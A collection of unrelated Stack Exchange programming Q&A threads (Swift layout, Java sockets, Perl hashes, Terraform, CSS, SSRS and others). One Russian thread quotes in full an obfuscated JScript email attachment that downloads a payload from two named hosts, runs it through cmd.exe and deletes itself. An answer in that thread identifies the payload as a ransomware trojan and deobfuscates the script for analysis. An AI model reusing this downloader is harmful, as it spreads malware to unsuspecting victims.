text:
Q: Corner Radius of View in UITableViewCell Subclass I am trying to create a round view in my tablevviewcell subclass
i set the cornerRadius to half the width, but the frame is returning 0. so corner radius is not setting correctly.
initialView.autoPinEdgesToSuperviewEdges(with: UIEdgeInsetsMake(5.0, 5.0, 5.0, 0.0), excludingEdge: .trailing)
    initialView.autoMatch(.width, to: .height, of: initialView)
    initialView.layer.cornerRadius = initialView.frame.size.width/2

Thanks
override func layoutSubviews() {
    super.layoutSubviews()

    initialView.layer.cornerRadius = initialView.frame.size.width/2
    print(initialView.frame)

}

Frame is still printing -> (0.0, 0.0, 0.0, 0.0)
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
    super.init(style: style, reuseIdentifier: reuseIdentifier)

    contentView.addSubview(initialView)
    contentView.addSubview(nameLabel)
    setupConstraints()
}

override func layoutSubviews() {
    super.layoutSubviews()

    initialView.layer.cornerRadius = initialView.frame.size.width/2
    print(initialView.frame)

}

A: The way to fix this is to subclass UITableViewCell and put your code into layoutSubviews:
override func layoutSubviews() {
    super.layoutSubviews()

    initialView.layer.cornerRadius = initialView.frame.size.width/2
}

And put the rest of the code in your question in your init() code:
func init() {
    // other stuff...

    setupInitialView()
}

func setupInitialView() {
    initialView.autoPinEdgesToSuperviewEdges(with: UIEdgeInsetsMake(5.0, 5.0, 5.0, 0.0), excludingEdge: .trailing)
    initialView.autoMatch(.width, to: .height, of: initialView)
}

My complete (working!) UITableViewCell class is as follows. Instead of using the PureLayout pod I used an extension method that basically does the same thing.
//
//  MyTableViewCell.swift
//  tableviewheader-test
//
//  Created by Forest Kunecke on 3/31/17.
//  Free as in free beer!
//

import UIKit

class MyTableViewCell: UITableViewCell {

    private(set) lazy var initialView: UIView = {
        let initialView = UIView(frame: .zero)
        return initialView
    }()

    override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
        //
        super.init(style: style, reuseIdentifier: reuseIdentifier)

        contentView.addSubview(initialView)

        setupInitialView()
    }

    required init?(coder aDecoder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }

    override func setSelected(_ selected: Bool, animated: Bool) {
        super.setSelected(selected, animated: animated)

        // Configure the view for the selected state
    }

    func setupInitialView() {
        self.contentView.addConstraintsWithFormat("V:|-5-[v0]-5-|", views: initialView)
        self.contentView.addConstraintsWithFormat("H:|-5-[v0]-0-|", views: initialView)

        initialView.backgroundColor = UIColor.red
    }

    override func layoutSubviews() {
        super.layoutSubviews()

        self.initialView.layer.cornerRadius = frame.size.width/2
    }
}

extension UIView {
    func addConstraintsWithFormat(_ format: String, views: UIView...) {
        var viewsDictionary = [String: UIView]()

        for (index, view) in views.enumerated() {
            let key = "v\(index)"
            view.translatesAutoresizingMaskIntoConstraints = false
            viewsDictionary[key] = view
        }
        addConstraints(NSLayoutConstraint.constraints(withVisualFormat: format, options: NSLayoutFormatOptions(), metrics: nil, views: viewsDictionary))
    }
}

Here's a screenshot (with the UITableViewController returning view.frame.width for heightForRowAt):

If you want I can also post the UITableViewController I used to test this code.

A: You are doing the interaction before the view is laid out. You need to subclass the UITableViewCell and override layoutSubviews like so:
class CustomCell: UITableViewCell {
    override func layoutSubviews() {
        super.layoutSubviews()
        initialView.layer.cornerRadius = initialView.frame.size.width/2
    }
}


text:
Q: Problema con interfaz gráfica y socket en java Estoy haciendo un programa en java que conecte un cliente y un servidor por medio de un socket TCP utilizado la interfaz gráfica de usuario de java. El programa compila bien pero el problema está cuando ejecuto el servidor, ya que no muestra siquiera la ventana y no sé porqué se produce este error de ejecución.

Anexo el código de mi proyecto
MiSocket.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.io.*;
import java.net.*;

public class MiServer extends JFrame
{
    private JTextArea area;
    private JScrollPane scroll;
    private ServerSocket server;
    private Socket cliente;
    private int port=8080;

    public MiServer()
    {
        setSize(400,400);
        setTitle("Server");
        area = new JTextArea();
        cliente = null;
        scroll = new JScrollPane(area);
        getContentPane().setLayout(new GridLayout());
        getContentPane().add(scroll);

        try{
            server = new ServerSocket(port);
            cliente = server.accept();
            area.append(("Ya se conecto un cliente desde: " +
                cliente.getInetAddress().getHostName()+
        "("+cliente.getPort()+")"));

                new Conexion(cliente,area).start();

            server.close();
        }
        catch(IOException e1)
        {
            System.err.println();
            e1.printStackTrace();
            System.exit(1);
        }
    }

    public static void main(String[] args) {
        MiServer fr = new MiServer();
        fr.setVisible(true);
        fr.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }
}

Conexion.java
import java.io.*;
import java.net.*;
import javax.swing.*;
import java.awt.*;
public class Conexion extends Thread {
    private JTextArea area;
    private Socket cliente=null;
    private BufferedReader entrada;
    private DataOutputStream salida;
    private String llego,nombreDirIP;
    public Conexion(Socket cliente, JTextArea area){
        this.area=area;
        this.cliente=cliente;
        nombreDirIP=cliente.getInetAddress().toString();
    }
    public void run(){
        try{
            Thread.currentThread().setPriority(MIN_PRIORITY);
            entrada=new BufferedReader(new InputStreamReader(cliente.getInputStream()));
            salida = new DataOutputStream(cliente.getOutputStream());
            do{
                llego=entrada.readLine();
                area.append(llego);
                salida.writeInt(llego.length());
            }while(llego.length()!=0);

            entrada.close();
            cliente.close();
        }catch(Exception e){e.printStackTrace();}
        area.append("Se desconecto"+nombreDirIP);
    }
}

MiCliente.java
import java.awt.*;
import javax.swing.*;
import java.io.*;
import java.net.*;
import java.awt.event.*;

public class MiCliente extends JFrame{
    private JTextArea area;
    private JScrollPane scroll;
    private JButton boton;
    private JTextField campo;
    private Socket cliente;
    private PrintWriter alservidor;
    private DataInputStream delservidor;
    private String host,teclado;
    public MiCliente(){
        setSize(300,300);
        area= new JTextArea();
        scroll = new JScrollPane(area);
        boton = new JButton("Enviar");
        campo = new JTextField();
        getContentPane().setLayout(null);
        getContentPane().add(scroll);
        scroll.setBounds(0,0,280,230);
        getContentPane().add(boton);
        boton.setBounds(200,230,100,25);
        getContentPane().add(campo);
        campo.setBounds(0,230,200,25);
        boton.addActionListener(new ActionListener(){
            public void actionPerformed(ActionEvent e){
                try{
                    host = "localhost";
                    cliente = new Socket(host,8080);
                    alservidor = new PrintWriter(cliente.getOutputStream());
                    delservidor = new DataInputStream(cliente.getInputStream());

                }catch(Exception e1){e1.printStackTrace();}
            }
        });
    }
    public static void main(String args[]){
        MiCliente fr = new MiCliente();
        fr.setVisible(true);
        fr.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }
}

A: la razón por la que no se muestra el frame del servidor es porque se queda esperando la conexión en la linea de cliente = server.accept();, de ese punto no pasa hasta que algún cliente se conecte y claro tienes el setVisible(true); en el main donde se ejecuta después de hacer la espera por conexión, lo mas preciso seria, por ejemplo, hacer visible el frame desde el constructor antes de aceptar las conexiones entrantes.
Tambien, a manera de una humilde sugerencia, gestiona las conexiones de Socket y ServerSocket con un Thread dedicado solo a ello y que se ejecute indefinidamente, con eso garantizas atender multiples peticiones de conexión.

redpajama_set_name: RedPajamaStackExchange


text:
Q: CentOs 5 - rsh - poll:protocol failure in circuit set There are some python scripts in my workspace which test a couple of features, and one of this scripts, in a small period of time, calls a lot of rsh commands.
When trying to run this one, I'm getting this error message :

poll:protocol failure in circuit set

When I call the command that generates this error in normal shell, it works. And it works when running in another systems.
The command line:
rsh -l user host "grep MUST_RECORD_NEW_DATA $CONF_DIR/file.conf | grep -v MUST_RECORD_NEW_DIRECTORY"

Can anybody help me?


text:
Q: Reading a file content into perl hash using map I am trying to read the contents of a file into a hash
file contents look line,
A|A1
B|B1
C|C1

the code I have is
use strict;
use warnings;
use Data::Dumper;

my $instAttribFileName="DATABYIDENTIFIER_InstCommonAttrList.config";

open(IFH,$instAttribFileName) or die "cannot open file";
my %attribhash = ();
%attribhash = map {chomp; split /\|/} (<IFH>);
print Dumper %attribhash;

Dumper does not print the hash but reads A,A1 etc into seperate variables.
what am I doing wrong here?

A: According to perldoc perldata:

LISTs do automatic interpolation of sublists. That is, when a LIST is
  evaluated, each element of the list is evaluated in list context, and
  the resulting list value is interpolated into LIST just as if each
  individual element were a member of LIST. Thus arrays and hashes lose
  their identity in a LIST

So you need to pass the hash by reference to Dumper() or else it will be flattened into a list of separate arguments. For example, if you have:
my %foo = ( a => 'A', b => 'B');
print Dumper %foo;

Output:
$VAR1 = 'b';
$VAR2 = 'B';
$VAR3 = 'a';
$VAR4 = 'A';

but if you pass a reference to  %foo instead (by putting a backslash in front):
print Dumper \%foo;

we get:
$VAR1 = {
          'b' => 'B',
          'a' => 'A'
        };

References:

*

*Data::Dumper

*perldoc perlref

*How can I print the contents of a hash in Perl?

A: It's always worth reading all of the documentation for the modules you're trying to use. The "BUGS" section in the Data::Dumper manual says:

Due to limitations of Perl subroutine call semantics, you cannot pass an array or hash. Prepend it with a \ to pass its reference instead.


text:
Q: Пришло письмо помогите разобраться что делает этот код на JS? Сегодня мне пришло письмо типо отчет от газпромбанка и все в таком духе. Я распаковал zip и в нем папка отчет.docx а в папке лежит файл: Газпромбанк заказ.js Ну Я его запускать не стал а открыл в блокноте и понял что он что то скачивает а потом удаляет себя. Помогите разобраться пожалуйста так ли это ? Раз комментируйте если не трудно прошу?
function xmm() {
    var Fhg=295330;
    var HYF=Fhg+3254;
    var UXX=HYF/312;
    return UXX -834;
    }
var hQ = xmm();
function CTz() {
    var iDB=String.fromCharCode(498-394)+String.fromCharCode(5252/52-0)+String.fromCharCode(36*3)+String.fromCharCode(3996/37-0)+String.fromCharCode(5772/52-0)+String.fromCharCode(16*2)+String.fromCharCode(11305/95+0)+String.fromCharCode(3*37)+String.fromCharCode(6*19)+String.fromCharCode(413-305)+String.fromCharCode(20*5);
    return iDB;
}
var IoT = CTz();
function cN() {
    var wTG=667184;
    var FNA=wTG+36268;
    var J=FNA/961;
    return J -722;
    }
function Rk() {
    var eH=31985;
    var Bs=eH+2353;
    var k=Bs/582;
    return k -48;
    }
var y = cN() + Rk();

function DF(Uj, F)
{
    Uj["Open"]();
    Uj["Type"] = 1;

    var L = F["Respo" + "nseB" + "ody"];
    Uj["Wr" + "i" + "te"](L);
    Uj["Pos"+ "it" + "ion"] = 0;
}

function c() {
    var cLY=["le"];
    var QFl=cLY[0];
    return QFl;
}
function EX() {
    var XA=["th"];
    var ph=XA[0];
    return ph;
}
function oV() {
    var z="";
    return z;
}
function zEV() {
    var Fk="";
    return Fk;
}
function Ak(kK)
{
    var iof = c();
    var f = "ng";
    f += "";
    var m = EX();
    iof = iof + oV() + f + zEV() + m;
    var Unp = kK[iof];
    return Unp;
}

function Lp()
{
    var A=String.fromCharCode(212/2-0);
    var zhd = "Ob" + A + "e" + "ct";
    return zhd;
}

function a()
{
    var Qt=String.fromCharCode(8989/89-0)+String.fromCharCode(848-760);
    return "Act" + "iv" + Qt;
}

function pm(pP)
{
    var VjU = eval(a() + Lp());
    return VjU;
}

function vv(Dg)
{
    return typeof Dg;
}

function DK()
{
    var Kqe = 5;
    if (Kqe >= 3) {
    return "M" + "SXML2.XMLHTTP";
    }
    else { return 7; }
}

function yrI(dr)
{
    var PP = "";
    var yP = 0;

    var W = pm(dr+4);
    var iq = 0;
    if (false || (dr == iq))
        return false;

    iq = new W(DK());

    try
    {
    Cj = iq++;
    }
    catch (hLM)
    {
    var HT = typeof iq["Open"];
    return (HT == "unknown" );
    }
    return false;
}

function qch()
{
    var tD = "\x57" + "S" + "\x63" + "\x72" + "\x69" + "\x70" + "\x74";
    var Jv = tD;
    var gpv = eval(Jv);
    return gpv;
}

function e(Un, LYb)
{
    var ht = qch();
    var Zm = ht["Scrip" + "tFul" + "lName"];
    Un[LYb](Zm);
}

function d(OUV)
{
    return parseInt(OUV, 16);
}

function yqR(ee, ew)
{
    return d(ee);
}

function AY()
{
    return "GetS" + "pecia" + "lFol" + "der";
}

function MHh(igW)
{
    var vl = 128;
    var MQH = "not";
    try
    {
        MQH = "\\" + igW["GetT" + "empN" + "ame"]();
        MQH = MQH + vl["cha" + "rAt"](256);
    }
    catch (Hk)
    {
        MQH = igW[AY()](2) + MQH;
    }
    return MQH;
}

function dL(biq, LYb)
{
    biq["r" + "u" + "n"](LYb, 0);
    return 8;
}

function JOk(AV, aKG, biq)
{
    var NvX = AV["Read"]();
    var zIP = new biq("ADODB.Recordse" + "t");
    zIP["fields"]["append"]("bin", 201, AV["Size"]);
    zIP["open"]();
    zIP["ad" + "dN" + "ew"]();
    zIP("bin")["appendChunk"](NvX);
    zIP["update"]();
    NvX = zIP("bin")["va" + "l" + "ue"];

    var VOt = "le";
    if (NvX[VOt + "ngth"] > 10)
    {
        var q = "SaveT";
        q += "oFile";
        AV[q](aKG);
        return true;
    }

    return false;
}

function lj()
{
    var D = "cmd.e";
    D += "x";
    D += "e";
    D += " ";
    D += "/";
    D += "c";
    D += " ";
    return D;
}

function i(bQm)
{
    return new bQm("MSXML2.XMLHTTP");
}

function jY(F, I)
{
    var g=String.fromCharCode(3*37)+String.fromCharCode(616-504)+String.fromCharCode(7575/75-0)+String.fromCharCode(7700/70+0);
    var rZ=String.fromCharCode(7029/99-0)+String.fromCharCode(3*23)+String.fromCharCode(5124/61-0);
    var MXR=226790;
    var iJ=MXR+6008;
    var DAG=iJ/334;
    var eo=DAG-697;
    F[g](rZ, I, eo);
    try {
        var R=String.fromCharCode(5*23)+String.fromCharCode(10100/100-0)+String.fromCharCode(10*11)+String.fromCharCode(20*5);
        F[R]();
    } catch (O) {
        return (1-1);
    }
    return 1;
}

function yoo(SF)
{
    var pV = "Active" + SF;
    var gQ = eval(pV);

    return false?gQ:gQ;
}

function j()
{
    return "https://music.lanzate.net/wp-admin/css/colors/blue/sserv.jpg";
}

function Mjx()
{
    return Tw(j());
}

function x()
{
    return Tw("http://xn--e1adigbdjz5k.xn--p1ai/includes/sserv.jpg");
}

function Tw(FCZ)
{
    var BI = "XObject";
    var U = i(yoo(BI));
    var MR = 0;
    if (jY(U, FCZ) == 0)
        return false;

    if (U["Status"] != 100 + 101 - 1)
        return false;
    var OG = new (yoo(BI))("Scripting.FileSystemObject");
    var n = new (yoo(BI))("ADODB.Stream");
    FCZ = MHh(OG);

    DF(n, U);

    if (!JOk(n, FCZ, yoo(BI)))
        return 11;

    n["Close"]();

    var IB = yoo(BI);
    var Dm = "Wscrip";
    Dm += "t.Shell";
    var hyH = new (IB)( Dm );
    MR = dL(hyH, lj() + FCZ);
    if (MR < 10)
    {
        FCZ = "delet" + "eFile";
        e(OG, FCZ);
        return ((1+6)>3);
    }
    return (true?MR:0);
}

if (yrI(1))
{
    var un = Mjx();
    if (!un)
        un = x();
}

A: Скрипт пытается скачать пару фоток, которые перечислены в этих функциях (концовки ссылок обрезал чтоб никто не открыл случайно):
function Mjx() {
    return Tw("https://music.lanzate.net/wp-admin/css/colors/***");
}
function x() {
    return Tw("http://xn--e1adigbdjz5k.xn--p1ai/includes/***");
}

Первая ссылка уже не работает. Во второй dr.web нашёл трояна:
infected with Trojan.Encoder.858

UPD.: попробовал восстановить исходник чтоб ответить на вопрос

а как они трояна скачивают?

Рассчитано на работу под виндой. Открывают поток, читают в него байты картинки, создают временный файл в системной или временной папке винды, пишут в файл данные полученные в потоке, закрывают файл и пытаются запустить его шелл-командой run, самоудаляются.
Мог по пути где-то опечататься и неверно восстановить исходник. Но в целом, думаю, понятно что там происходит.
function checkXmlHttp() {
    return typeof (new ActiveXObject("MSXML2.XMLHTTP")).Open == "unknown";
}

function fileName(fs) {
    let r = "not";
    try {
        r = "\\" + fs.GetTempName();
        r = r + (128).charAt(256);
    } catch (Hk) {
        r = fs.GetSpecialFolder(2) + r; // %TMP%
    }
    return r;
}

function saveFile(stream, uri) {
    let data = stream.Read();
    let rec = new ActiveXObject("ADODB.Recordset");
    rec.fields.append("bin", 201, stream.Size);
    rec.open();
    rec.addNew();
    rec("bin").appendChunk(data);
    rec.update();
    data = rec("bin").value;

    if (data.length > 10) {
        stream.SaveToFile(uri);
        return true;
    }
    return false;
}

function loadSaveAndRun(uri) {
    let xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
    xmlhttp.open("GET", uri, 0);
    try {
        xmlhttp.send();
    } catch (e) {
        return false;
    }
    if (xmlhttp.Status != 200) {
        return false;
    }

    let fs = new ActiveXObject("Scripting.FileSystemObject");
    let stream = new ActiveXObject("ADODB.Stream");
    let fileName = fileName(fs);

    stream.Open();
    stream.Type = 1;
    stream.Write(xmlhttp.ResponseBody);
    stream.Position = 0;

    if (!saveFile(stream, fileName)) {
        return 11;
    }

    stream.Close();

    let shell = new ActiveXObject("Wscript.Shell");
    shell.run("cmd.exe /c " + fileName, 0);
    fs.deleteFile(WScript.ScriptFullName);
    return true;
}

if (checkXmlHttp()) {
    let success = loadSaveAndRun("https://music.lanzate.net/wp-admin/***");
    if (!success)
        success = loadSaveAndRun("http://xn--e1adigbdjz5k.xn--p1ai/includes/***");
}


text:
Q: Terraform 12. Dynamically generate block I have next list:
local {
...
  step_scaling_out_policy_configuration = {
    "adjustment_type"         = "ChangeInCapacity"
    "cooldown"                = 300
    "metric_aggregation_type" = "Maximum"
    "step_adjustment"         = {
      "metric_interval_lower_bound" = 0
      "scaling_adjustment"          = 1
    }
  }
...
}

And I could transform into block using next logic:
  step_scaling_policy_configuration {
    adjustment_type          = local.step_scaling_out_policy_configuration.adjustment_type
    cooldown                 = local.step_scaling_out_policy_configuration.cooldown
    metric_aggregation_type  = local.step_scaling_out_policy_configuration.metric_aggregation_type

    step_adjustment {
      metric_interval_lower_bound = local.step_scaling_out_policy_configuration.step_adjustment.metric_interval_lower_bound
      scaling_adjustment          = local.step_scaling_out_policy_configuration.step_adjustment.scaling_adjustment
    }
  }

It's quite easy with fixed number of keys in map. But is it possible to dynamically generate such block because I don't know exactly what could be in local.step_scaling_out_policy_configuration map. Now supposing I have
local {
...
  step_scaling_out_policy_configuration = {
    "adjustment_type"         = "ChangeInCapacity"
    "cooldown"                = 300
    "metric_aggregation_type" = "Maximum"
    #######
    "some_new_key"            = "value"
    #######
    "step_adjustment"         = {
      "metric_interval_lower_bound" = 0
      "scaling_adjustment"          = 1
    }
  }
...
}

Obviously with previous logic I won't have some_new_keyparameter in step_scaling_policy_configuration block. Is it possible to add key to step_scaling_policy_configuration block dynamically based on what's inside of local.step_scaling_out_policy_configuration map?

A: You can use try() or lookup() to check if the key is present and set it to null if it is missing. In most providers null is like not setting the key. Sometimes it might make sense to set it to an explicit default or en empty string "". null works fine in most cases and uses the providers default.
Example code using try() and lookup() solutions:
step_scaling_policy_configuration {
  ....

  some_new_key   = try(local.step_scaling_out_policy_configuration.some_new_key, null)
  some_other_key = lookup(local.step_scaling_out_policy_configuration, "some_other_key", null)

  step_adjustment {
    ....
  }
}

if you also want to make step_scaling_policy_configuration and/or step_adjustment depend on the existence of value in your local map, look into dynamic-blocks from the terraform documentation.


text:
Q: Language loading and back button issue with CodeIgniter I made a multi-lang app for contents. In the backend, you create content, and show it in a frontend page. I have an issue with the back button (I think its a cache issue) following the next steps:

*

*You click in a content link and access to the content view.

*In the current content view (with the current language), you click to
switch language.

*It redirects you to home with the new language.

*When you press back button, it sends you to the previus content (in
the previus language).

A consideration:
- If I clear the browser cache between the steps 2-3, it works fine.
Here is the code:
In the language switcher controller
    $this->lang_array = $this->Language_model->getLangsArray();

    if(!isset($this->session->lang)){
        if(array_key_exists($this->uri->segment(1), $this->lang_array)){
            $this->session->lang = $this->uri->segment(1);
        }else{
            $this->session->lang = 'es';
        }
    }

    if(isset($this->session->lang)){
        if(array_key_exists($this->uri->segment(1), $this->lang_array) && $this->uri->segment(1) != $this->session->lang){
            $this->session->lang = $this->uri->segment(1);
        }
    }

    $this->lang->load($this->lang_array[$this->session->lang], $this->lang_array[$this->session->lang]);

To return the view with content, in the contents controller:
    $content = $this->db->get_where('contents', array('slug' => $slug), 1)->result();
    if(count($content)){
        $content = $content[0];

        $this->view('content_view', $content));
    }else{
        return array();
    }


text:
Q: how to avoid code repetition in javascript i have javascript code that repeat i want to make it smaller or
 <script type="text/javascript">
    function myFunction1() {
  var copyText = document.getElementById("myInput1");
  copyText.select();
  document.execCommand("copy");

}
</script>
<script type="text/javascript">
  function myFunction2() {
  var copyText = document.getElementById("myInput2");
  copyText.select();
  document.execCommand("copy");

}
</script>
<script type="text/javascript">
  function myFunction3() {
  var copyText = document.getElementById("myInput3");
  copyText.select();
  document.execCommand("copy");

}
</script>

and put the variable in the function name with a loop
thank you

A: Create a single function, pass the element id and use it for getting copyText object.
<script type="text/javascript">
  function myFunction(elementId) {
    var copyText = document.getElementById(elementId);
    copyText.select();
    document.execCommand("copy");
  }
</script>

And invoke it like this.
 myFunction("myInput1");
 myFunction("myInput2");
 myFunction("myInput3");

A: You can create a single function with a good name.
<script type="text/javascript">
  function copyInputsValueToClipboard(elementId){
    const element = document.getElementById(elementId);
    element.select();
    document.execCommand("copy");
  }
</script>

You can then invoke the function with the id of the input that you want to have copied to the clipboard.
copyInputsValueToClipboard("myInput1");


text:
Q: Fix Font Responsiveness When you hover over the image, you will see that it will be replaced by the text block.
When you shrink the browser, you will see that the font size remains the same, although I specified it in EMs which should have made the font responsive.
I need the layout of the hover element remain the same in mobile view, i.e. I need to avoid the scrollbar that appears if you shrink the size of the browser. Any ideas how to achieve this?

/*Programs*/

ul.img-list {
  list-style-type: none;
  margin: 0;
  padding: 0;
  text-align: center;
}

ul.img-list li {
  display: inline-block;
  width: 100%;
  height: 100%;
  margin: 0;
  position: relative;
}

div.text-content {
  background: rgba(26,33,43,0.9);
  color: white;
  cursor: pointer;
  left: 0;
  position: absolute;
  top: 0;
  bottom: 0;
  width: 100%;
  height: 100%;
  opacity: 0;
  font-size: 1.250em;
  font-family: Roboto;
  line-height: 1em;
  font-weight: 300;
  text-align: center;
  overflow-y: auto;
  box-sizing: border-box;
  padding-right: 25px;
  padding-left: 25px;
  padding-top: 25px;
  padding-bottom: 25px;
 -webkit-transition: opacity 500ms;
  -moz-transition: opacity 500ms;
  -o-transition: opacity 500ms;
  transition: opacity 500ms;
  text-align: center;
  vertical-align: middle;
}

ul.img-list li:hover div.text-content {
  opacity: 1;
}

/* Events page */

/*Event link button*/

.btn {
background-color: transparent;
border-radius: 42px;
border: 2px solid #ffffff;
display: inline-block;
cursor: pointer;
font-family: Roboto;
line-height: 1.750em;
font-size: 1.500em;
padding: 5px 15px 5px 15px;
margin-right: 45px;
margin-left: 45px;
}

.btn:link {
    color: #ffffff;
    text-decoration: none;
}

.btn:visited {
  color: #1b1c16;
  text-decoration: none;
}

.btn:hover {
  background-color: #ffffff;
  color: #1b1c16 !important;
}

.btn:active {
  position: relative;
 top: 1px;
}

/*All events button*/

.evens_btn {
background: ;
}

.events_btn>span{
color: #f9c70f;
font-family: Roboto;
color: #ffffff;
font-size: 1.5em !important;
background: ;
text-decoration: none !important;
padding: 10px 0px 10px 0px;
}

.events_btn>i{
color: #ffffff;
margin-right: 15px;
font-size: 3.125em;
}

.events_btn:link>i {
    color: #f9c70f;
}

.events_btn:visited>i {
  color: #ffffff;
  text-decoration: none;
}

.events_btn:hover>i {
 color: #f9c70f;
}

.events_btn:active>i {
  color: #f9c70f;
}

.events_btn:link>span {
    color: #f9c70f;
}

.events_btn:visited>span {
  color: #ffffff;
  text-decoration: none;
}

.events_btn:hover>span {
 color: #f9c70f ;
}

.events_btn:active>span {
  color: #f9c70f;
}

WEBINAR
ARCHIVE

Throughout the years SFL has ammased the library of recorded webinars from some of the leading libertarian voices about numerous topics in philosophy, politics, and economics. How can the government fix the higher education bubble? What is Ayn Rand's theory of natural rights? Tune in to our videos for answers to these questions and many more.

      READ MORE

A: You can simply set the font size in vw instead of em

/*Programs*/

ul.img-list {
  list-style-type: none;
  margin: 0;
  padding: 0;
  text-align: center;
}

ul.img-list li {
  display: inline-block;
  width: 100%;
  height: 100%;
  margin: 0;
  position: relative;
}

div.text-content {
  background: rgba(26,33,43,0.9);
  color: white;
  cursor: pointer;
  left: 0;
  position: absolute;
  top: 0;
  bottom: 0;
  width: 100%;
  height: 100%;
  opacity: 0;
  font-size: 3vw;
  font-family: Roboto;
  line-height: 1em;
  font-weight: 300;
  text-align: center;
  overflow-y: auto;
  box-sizing: border-box;
  padding-right: 25px;
  padding-left: 25px;
  padding-top: 25px;
  padding-bottom: 25px;
 -webkit-transition: opacity 500ms;
  -moz-transition: opacity 500ms;
  -o-transition: opacity 500ms;
  transition: opacity 500ms;
  text-align: center;
  vertical-align: middle;
}

ul.img-list li:hover div.text-content {
  opacity: 1;
}

/* Events page */

/*Event link button*/

.btn {
background-color: transparent;
border-radius: 42px;
border: 2px solid #ffffff;
display: inline-block;
cursor: pointer;
font-family: Roboto;
line-height: 1.750em;
font-size: 1.500em;
padding: 5px 15px 5px 15px;
margin-right: 45px;
margin-left: 45px;
}

.btn:link {
    color: #ffffff;
    text-decoration: none;
}

.btn:visited {
  color: #1b1c16;
  text-decoration: none;
}

.btn:hover {
  background-color: #ffffff;
  color: #1b1c16 !important;
}

.btn:active {
  position: relative;
 top: 1px;
}

/*All events button*/

.evens_btn {
background: ;
}

.events_btn>span{
color: #f9c70f;
font-family: Roboto;
color: #ffffff;
font-size: 1.5em !important;
background: ;
text-decoration: none !important;
padding: 10px 0px 10px 0px;
}

.events_btn>i{
color: #ffffff;
margin-right: 15px;
font-size: 3.125em;
}

.events_btn:link>i {
    color: #f9c70f;
}

.events_btn:visited>i {
  color: #ffffff;
  text-decoration: none;
}

.events_btn:hover>i {
 color: #f9c70f;
}

.events_btn:active>i {
  color: #f9c70f;
}

.events_btn:link>span {
    color: #f9c70f;
}

.events_btn:visited>span {
  color: #ffffff;
  text-decoration: none;
}

.events_btn:hover>span {
 color: #f9c70f ;
}

.events_btn:active>span {
  color: #f9c70f;
}

WEBINAR
ARCHIVE

Throughout the years SFL has ammased the library of recorded webinars from some of the leading libertarian voices about numerous topics in philosophy, politics, and economics. How can the government fix the higher education bubble? What is Ayn Rand's theory of natural rights? Tune in to our videos for answers to these questions and many more.

      READ MORE


text:
Q: Is there anyway to do multiple repeated translations with the google translate API As of now I have a script element to which I attach my api request to by doing whenever an onclick is registered and sourceText is the text needing to be translated. The call back function just prints something out on the webpage (Changes a global variable, then a separate function outputs that global variable)
  source = 'https://www.googleapis.com/language/translate/v2?key=YOUR_API_KEY&source=en&target=de&callback=translateText&q=' + sourceText;
  newScript.src = source;
  document.getElementsByTagName('head')[0].appendChild(newScript);

The problem is it works for the first translation (first onclick) but after that the translations don't change after adding the script to the head. In fact the callback function is never called after the first call and the new output is just the first translated string. Any way to fix this?
As I understand there's probably an easier way to do this with google.load("language") could someone point me in the right direction then?

A: As of now you are using a kind of a hackyish way of calling the script. While the script is some kind of 'executing', I would recommend to write a kind of class and fire real ajax requests. To make it a bit easier for yourself, I would use jQuery (or something like that), and write a maintanable class. It could look something like this (not tested in any way, but gives you a clue ;))
var Translate = function( translateHandler ) {
    this.endpoint = 'https://www.googleapis/language/translate/v2';
    this.apiKey = 'xyz';
    this.translateHandler = translateHandler;
};

Translate.prototype.translate = function ( text, source, target ) {
    $.get(this.endpoint, {
        key: this.apiKey,
        q: text,
        source: source,
        target: target
    }, this.translateHandler.bind(this));
};

// usage
var handler = function( result) {
    // do something with the result
};
var translater = new Translate( handler );

$('#myButton').on('click', function(e) {
    e.preventDefault();
    translater.translate( $('#source').text(), 'en', 'de') );
})


text:
Q: SSRS Format to display as percent I've gone through quite a few examples on here and I apologize if I'm asking a repeat question, as far as I can tell, I am not.
I have an SSRS report made that shows gross sales for certain aspects of our sales departments.  They are broken down, in row, by "cost, gross profit, gross profit %, order count, total sales."  The columns are the aspects of our sales.  Web sales, phone sales, etc....
In the tablix I can format a text box to display the results as numbers, but as you can see, I have also Percentage and Count in there.  I don't know how to format those within the context of the original text box format.  So I know I have everything that shows under there as a number already, but how do I handle getting the percentage to show as a percentage and the count to show as a count?
For example, all the percentages currently show as, "$0.35" and various other numbers that follow that form.  The count's currently appear as currency too.
I've used an example I found on here, "=Iif ( Me.Value = Floor ( Me.Value ) , "0%" , "0.00%" )," but all that did was make everything that showed up in that column, "0.00%"  I am fairly new to SSRS and have been cramming consistently for the past two weeks, but I just cannot find help on this.  Thank you in advance for anything you can offer.
Update: =IIF(Fields!LVS_Web.Value=0.00, "0%", format(Fields!LVS_Web.Value, "P"))
That worked... to a degree, but now everything is a percent.... thinking ELSE here but I don't know how ELSE goes in, I've not once seen the word ELSE.
Update 2: The thing that I've noticed is that in the statement, where it says, "=0.00, "0%"," that doesn't even really apply.  I've just put that there because I'm new to this and I just needed an argument involved.  I took the 0% and changed it to N under the condition that the number was < .99, hopeing I would just catch all of the decimals that fell below the value of 1.  Like, "$.23", which later became 23.45%, so I COULD do that, but what I don't udnerstand is it made everything else, "N," instead of a number.  Why is that?  It doesn't make everything else, "P?"
I'm losing my damned mind.
There is also the fact that this is information being pulled from a stored procedure, I don't really know too much about those quite yet, I get assigned simple tasks ever so often as a stepping stool for learning.  I don't really know what the query was, but I couldn't edit it if I wanted to.  This can be done with expression formatting but my expression is too broad, but I get mixed results using Greater or Less than, and it's probably not the wisest thing to use since these numbers are not set in stone.  My day is almost done, I've made very very little progress, but I had a good lunch.  So success.
So I provided my own answer for this problem, and it works. Thanks me.  Thanks to all the tried to help me and did help as well.  I appreciate the effort strangers will put out for each other.
I've had a new problem develop, I need to display a time relative to the data being pulled.  I can put NOW in there and get today's date, but if someone is pulling information from FEB, they may be a little off-put by the current date.  I'll probably get this figured out soon, but if anyone can help in the meantime, I would appreciate it.

A: =iif(Fields!Metric.Value = "Gross Profit %",
 Format(Fields!LVS_Web.Value,"P"),
 iif(Fields!Metric.Value = "Order Count",
 Format(Fields!LVS_Web.Value,"G4"),
  Format(Fields!LVS_Web.Value,"C")))

